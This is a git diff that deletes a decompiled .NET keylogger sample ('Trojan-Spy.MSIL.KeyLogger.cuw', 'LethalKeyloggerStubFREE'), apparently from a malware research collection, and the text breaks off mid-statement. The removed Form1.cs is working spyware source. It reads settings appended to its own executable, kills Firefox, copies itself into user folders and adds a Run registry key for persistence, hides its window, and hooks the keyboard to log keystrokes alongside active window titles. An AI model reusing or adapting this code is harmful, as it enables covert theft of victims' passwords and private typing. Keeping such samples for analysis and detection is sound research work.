a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.csproj deleted file mode 100644 index e39fac7a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {61B0963B-3BA9-45D2-A555-8640469DE804} - WinExe - LethalKeyloggerStubFREE - 1.0.0.0 - MicrosoftWindows - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.sln deleted file mode 100644 index 5ee7d44e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LethalKeyloggerStubFREE", "Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.csproj", "{61B0963B-3BA9-45D2-A555-8640469DE804}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {61B0963B-3BA9-45D2-A555-8640469DE804}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {61B0963B-3BA9-45D2-A555-8640469DE804}.Debug|Any CPU.Build.0 = Debug|Any CPU - {61B0963B-3BA9-45D2-A555-8640469DE804}.Release|Any CPU.ActiveCfg = Release|Any CPU - {61B0963B-3BA9-45D2-A555-8640469DE804}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/AssemblyInfo.cs deleted file mode 100644 index 2b49f1a8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("MicrosoftWindows")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("MicrosoftWindows")] -[assembly: Guid("b95034f0-1151-4765-aa52-c79079cff4de")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.cs deleted file mode 100644 index 96fe17ec..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.cs +++ /dev/null @@ -1,1440 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.Form1 -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using MicrosoftWindows.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace MicrosoftWindows -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - private TextBox innerz666; - private TextBox interz666; - private TextBox interx666; - private TextBox outerz666; - private TextBox outerx666; - private TextBox esendz666; - private TextBox esendx666; - private CheckBox checky666; - private CheckBox osname666; - private CheckBox osvers666; - private CheckBox emails666; - private CheckBox osuser666; - private TextBox osvers667; - private TextBox osname667; - private TextBox osuser667; - private TextBox smtphost; - private CheckBox startsadd; - private TextBox t2interval; - private Random irrelevant; - private string appname; - private string stub; - private string text1; - private string text2; - private string check1; - private string text3; - private string errorico; - private string text4; - private string check3; - private string check4; - private string check5; - private string check6; - private string check7; - private string check8; - private string text6; - private string combo1; - private string check9; - private string check10; - private string check11; - private string check12; - private string check13; - private string check14; - private string check15; - private string check18; - private string check19; - private string check20; - private string check21; - private string check22; - private string activewindow; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private bool shift; - private StreamWriter streamwriter; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.innerz666 = new TextBox(); - this.interz666 = new TextBox(); - this.interx666 = new TextBox(); - this.outerz666 = new TextBox(); - this.outerx666 = new TextBox(); - this.esendz666 = new TextBox(); - this.esendx666 = new TextBox(); - this.checky666 = new CheckBox(); - this.osname666 = new CheckBox(); - this.osvers666 = new CheckBox(); - this.emails666 = new CheckBox(); - this.osuser666 = new CheckBox(); - this.osvers667 = new TextBox(); - this.osname667 = new TextBox(); - this.osuser667 = new TextBox(); - this.smtphost = new TextBox(); - this.startsadd = new CheckBox(); - this.t2interval = new TextBox(); - this.irrelevant = new Random(); - this.appname = Path.GetFileName(Application.ExecutablePath); - this.kbHook = new Form1.KeyboardHook(); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(4, 0); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = nameof (Form1); - this.Text = "your mum"; - this.ResumeLayout(false); - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - private void Form1_Load(object sender, EventArgs e) - { - string Delimiter = "keylogfreeforHF"; - try - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref Expression); - FileSystem.FileClose(1); - string[] strArray = Strings.Split(Expression, Delimiter); - this.interz666.Text = strArray[1]; - this.interx666.Text = strArray[2]; - if (Operators.CompareString(strArray[8], "errorOS", false) == 0) - { - this.checky666.Checked = true; - this.text3 = strArray[4]; - this.text4 = strArray[6]; - this.errorico = strArray[5]; - } - this.t2interval.Text = strArray[7]; - if (Operators.CompareString(strArray[9], "emailOS", false) == 0) - this.emails666.Checked = true; - if (Operators.CompareString(strArray[10], "getcomp", false) == 0) - this.osname666.Checked = true; - if (Operators.CompareString(strArray[13], "adding", false) == 0) - { - this.startsadd.Checked = true; - this.combo1 = strArray[15]; - } - this.text6 = strArray[14]; - this.check9 = strArray[16]; - this.check10 = strArray[17]; - this.check11 = strArray[18]; - this.check12 = strArray[19]; - this.check13 = strArray[20]; - this.check14 = strArray[21]; - this.check15 = strArray[22]; - this.check18 = strArray[23]; - this.check19 = strArray[24]; - this.check20 = strArray[25]; - this.check21 = strArray[26]; - this.check22 = strArray[27]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.ModuleName)).Length > 1) - Application.Exit(); - if (Operators.CompareString(this.check22, "Yes", false) == 0) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("firefox"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - if (Operators.CompareString(this.check9, "Yes", false) == 0 | Operators.CompareString(this.check10, "Yes", false) == 0 | Operators.CompareString(this.check11, "Yes", false) == 0 | Operators.CompareString(this.check12, "Yes", false) == 0 | Operators.CompareString(this.check13, "Yes", false) == 0 | Operators.CompareString(this.check14, "Yes", false) == 0 | Operators.CompareString(this.check15, "Yes", false) == 0 | Operators.CompareString(this.check18, "Yes", false) == 0 | Operators.CompareString(this.check19, "Yes", false) == 0 | Operators.CompareString(this.check20, "Yes", false) == 0 | Operators.CompareString(this.check21, "Yes", false) == 0) - { - this.Timer3.Interval = 1000; - this.Timer3.Start(); - } - if (this.osuser666.Checked) - this.osuser667.Text = Environment.UserName; - if (this.osname666.Checked) - this.osname667.Text = Environment.MachineName; - if (MySettingsProperty.Settings.runonce) - { - MySettingsProperty.Settings.runonce = false; - if (this.checky666.Checked && Operators.CompareString(this.errorico, "msgexcl", false) == 0) - { - int num = (int) Interaction.MsgBox((object) this.text3, MsgBoxStyle.Exclamation, (object) this.text4); - } - if (this.startsadd.Checked) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - if (Operators.CompareString(this.combo1, "applocal", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "approaming", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "cdrive", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "desktop", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "docs", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "music", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "pics", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "progfiles", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "start", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "system", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - this.Timer1.Start(); - this.Timer2.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.t2interval.Text) * 60.0 * 1000.0))); - this.Timer2.Start(); - this.Visible = false; - this.Hide(); - this.ShowInTaskbar = false; - MySettingsProperty.Settings.Save(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("USER32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetKeyState(long vKey); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.kbHook_KeyDown); - Form1.KeyboardHook.KeyUpEventHandler keyUpEventHandler = new Form1.KeyboardHook.KeyUpEventHandler(this.kbHook_KeyUp); - if (this._kbHook != null) - { - Form1.KeyboardHook.KeyDown -= downEventHandler; - Form1.KeyboardHook.KeyUp -= keyUpEventHandler; - } - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - Form1.KeyboardHook.KeyUp += keyUpEventHandler; - } - } - - private void kbHook_KeyUp(Keys Key) - { - } - - private void kbHook_KeyDown(Keys Key) - { - if (!this.Timer1.Enabled) - return; - if (Form1.GetAsyncKeyState(16L) != 0) - this.shift = true; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - if (Key == Keys.A) - { - if (this.shift) - { - this.innerz666.Text += "A"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "a"; - } - } - else if (Key == Keys.B) - { - if (this.shift) - { - this.innerz666.Text += "B"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "b"; - } - } - else if (Key == Keys.C) - { - if (this.shift) - { - this.innerz666.Text += "C"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "c"; - } - } - else if (Key == Keys.D) - { - if (this.shift) - { - this.innerz666.Text += "D"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "d"; - } - } - else if (Key == Keys.E) - { - if (this.shift) - { - this.innerz666.Text += "E"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "e"; - } - } - else if (Key == Keys.F) - { - if (this.shift) - { - this.innerz666.Text += "F"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "f"; - } - } - else if (Key == Keys.G) - { - if (this.shift) - { - this.innerz666.Text += "G"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "g"; - } - } - else if (Key == Keys.H) - { - if (this.shift) - { - this.innerz666.Text += "H"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "h"; - } - } - else if (Key == Keys.I) - { - if (this.shift) - { - this.innerz666.Text += "I"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "i"; - } - } - else if (Key == Keys.J) - { - if (this.shift) - { - this.innerz666.Text += "J"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "j"; - } - } - else if (Key == Keys.K) - { - if (this.shift) - { - this.innerz666.Text += "K"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "k"; - } - } - else if (Key == Keys.L) - { - if (this.shift) - { - this.innerz666.Text += "L"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "l"; - } - } - else if (Key == Keys.M) - { - if (this.shift) - { - this.innerz666.Text += "M"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "m"; - } - } - else if (Key == Keys.N) - { - if (this.shift) - { - this.innerz666.Text += "N"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "n"; - } - } - else if (Key == Keys.O) - { - if (this.shift) - { - this.innerz666.Text += "O"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "o"; - } - } - else if (Key == Keys.P) - { - if (this.shift) - { - this.innerz666.Text += "P"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "p"; - } - } - else if (Key == Keys.Q) - { - if (this.shift) - { - this.innerz666.Text += "Q"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "q"; - } - } - else if (Key == Keys.R) - { - if (this.shift) - { - this.innerz666.Text += "R"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "r"; - } - } - else if (Key == Keys.S) - { - if (this.shift) - { - this.innerz666.Text += "S"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "s"; - } - } - else if (Key == Keys.T) - { - if (this.shift) - { - this.innerz666.Text += "T"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "t"; - } - } - else if (Key == Keys.U) - { - if (this.shift) - { - this.innerz666.Text += "U"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "u"; - } - } - else if (Key == Keys.V) - { - if (this.shift) - { - this.innerz666.Text += "V"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "v"; - } - } - else if (Key == Keys.W) - { - if (this.shift) - { - this.innerz666.Text += "W"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "w"; - } - } - else if (Key == Keys.X) - { - if (this.shift) - { - this.innerz666.Text += "X"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "x"; - } - } - else if (Key == Keys.Y) - { - if (this.shift) - { - this.innerz666.Text += "Y"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "y"; - } - } - else if (Key == Keys.Z) - { - if (this.shift) - { - this.innerz666.Text += "Z"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "z"; - } - } - else if (Key == Keys.D0) - { - if (this.shift) - { - this.innerz666.Text += ")"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "0"; - } - } - else if (Key == Keys.D1) - { - if (this.shift) - { - this.innerz666.Text += "!"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "1"; - } - } - else if (Key == Keys.D2) - { - if (this.shift) - { - this.innerz666.Text += "@"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "2"; - } - } - else if (Key == Keys.D3) - { - if (this.shift) - { - this.innerz666.Text += "#"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "3"; - } - } - else if (Key == Keys.D4) - { - if (this.shift) - { - this.innerz666.Text += "$"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "4"; - } - } - else if (Key == Keys.D5) - { - if (this.shift) - { - this.innerz666.Text += "%"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "5"; - } - } - else if (Key == Keys.D6) - { - if (this.shift) - { - this.innerz666.Text += "^"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "6"; - } - } - else if (Key == Keys.D7) - { - if (this.shift) - { - this.innerz666.Text += "&"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "7"; - } - } - else if (Key == Keys.D8) - { - if (this.shift) - { - this.innerz666.Text += "*"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "8"; - } - } - else if (Key == Keys.D9) - { - if (this.shift) - { - this.innerz666.Text += "9"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "("; - } - } - else if (Key == Keys.OemSemicolon) - { - if (this.shift) - { - this.innerz666.Text += ":"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ";"; - } - } - else if (Key == Keys.OemPeriod) - { - if (this.shift) - { - this.innerz666.Text += ">"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "."; - } - } - else if (Key == Keys.OemQuotes) - { - if (this.shift) - { - this.innerz666.Text += "\""; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "'"; - } - } - else if (Key == Keys.OemOpenBrackets) - { - if (this.shift) - { - this.innerz666.Text += "{"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "["; - } - } - else if (Key == Keys.OemCloseBrackets) - { - if (this.shift) - { - this.innerz666.Text += "}"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "]"; - } - } - else if (Key == Keys.Oemcomma) - { - if (this.shift) - { - this.innerz666.Text += "<"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ","; - } - } - else if (Key == Keys.OemMinus) - { - if (this.shift) - { - this.innerz666.Text += "_"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "-"; - } - } - else if (Key == Keys.Oemplus) - { - if (this.shift) - { - this.innerz666.Text += "+"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "="; - } - } - else if (Key == Keys.OemQuestion) - { - if (this.shift) - { - this.innerz666.Text += "?"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "/"; - } - } - else if (Key == Keys.OemPipe) - { - if (this.shift) - { - this.innerz666.Text += "|"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "\\"; - } - } - else if (Key == Keys.Oemtilde) - { - if (this.shift) - { - this.innerz666.Text += "~"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "`"; - } - } - else if (Key == Keys.Tab) - { - this.innerz666.Text += "[tab]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Subtract) - this.innerz666.Text += "-"; - else if (Key == Keys.Capital) - this.innerz666.Text += "[caps]"; - else if (Key == Keys.Space) - this.innerz666.Text += " "; - else if (Key == Keys.Add) - this.innerz666.Text += "+"; - else if (Key == Keys.Back) - this.innerz666.Text += "[<]"; - else if (Key == Keys.LControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.RControlKey) - { - this.innerz666.Text += "[ctrl]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Decimal) - this.innerz666.Text += "."; - else if (Key == Keys.Delete) - this.innerz666.Text += "[<]"; - else if (Key == Keys.Divide) - this.innerz666.Text += "/"; - else if (Key == Keys.Down) - this.innerz666.Text += "[down]"; - else if (Key == Keys.End) - this.innerz666.Text += "[end]"; - else if (Key == Keys.Return) - { - this.innerz666.Text += "\r\n"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Escape) - { - this.innerz666.Text += "[esc]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Home) - this.innerz666.Text += "[home]"; - else if (Key == Keys.Insert) - this.innerz666.Text += "[insert]"; - else if (Key == Keys.Left) - this.innerz666.Text += "[<-]"; - else if (Key == Keys.Multiply) - this.innerz666.Text += "*"; - else if (Key == Keys.Next) - this.innerz666.Text += "[p-down]"; - else if (Key == Keys.Prior) - this.innerz666.Text += "[p-up]"; - else if (Key == Keys.Snapshot) - this.innerz666.Text += "[printscreen]"; - else if (Key == Keys.Return) - this.innerz666.Text += "\r\n"; - else if (Key == Keys.Scroll) - this.innerz666.Text += "[scroll]"; - else if (Key == Keys.Up) - this.innerz666.Text += "[up]"; - else if (Key == Keys.Right) - this.innerz666.Text += "[->]"; - else if (Key == Keys.Pause) - this.innerz666.Text += 